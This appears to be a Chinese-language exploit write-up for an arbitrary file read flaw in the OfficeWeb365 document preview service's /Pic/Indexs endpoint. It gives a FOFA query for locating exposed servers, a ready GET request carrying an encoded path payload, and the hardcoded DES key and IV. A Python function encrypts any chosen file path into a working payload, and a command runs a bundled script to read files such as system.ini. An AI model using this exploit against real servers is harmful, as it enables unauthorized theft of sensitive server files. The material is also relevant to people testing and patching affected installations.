OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息。
1.漏洞级别
高危
2.漏洞搜索
fofa
body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
3.漏洞复现
3.1 简单复现
构造请求包
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
如果漏洞存在即可成功返回数据
其中DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09的值为/.../.../Windows/win.ini,如果需要读取其他文件则需要根据路径生成编码。
这里提供一个python环境下的生成函数,可以根据需要将制定路径生成为DES编码。
python
#需要安装加解密库 pip install pycryptodome
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
import base64
# 密钥和初始向量
Keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
Iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])
def encrypt_des(plaintext, key, iv):
cipher = DES.new(key, DES.MODE_CBC, iv)
padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return base64.b64encode(ciphertext).decode('utf-8')
# 明文
plaintext = "C:\\windows\\win.ini"
# 加密
ciphertext = encrypt_des(plaintext, Keys, Iv)
print("加密后的密文:", ciphertext+"09")
将文件C:\windows\win.ini 加密后生成的密文U4MXvYDVuVrybiwjpvXs7R2FZA8nRywM09 带入为imgs的值。可以看到成功获取到文件的内容。
3.2 快捷利用
网上该漏洞很多复现都只简单复现了漏洞,并没有提供获取任意文件的方法,本文提供一个脚本,你可以自行选择文件的地址。
执行
python3 office_web365_index_fileread.py -u url -f c:/windows/system.ini
可以看到成功输出。
注:这里的路径可以使用绝对路径或者相关路径,都是可以的。
文件地址随着文章附赠上了,你也可以在github上搜索同名文档。
感谢阅读,如果有问题,欢迎随时沟通~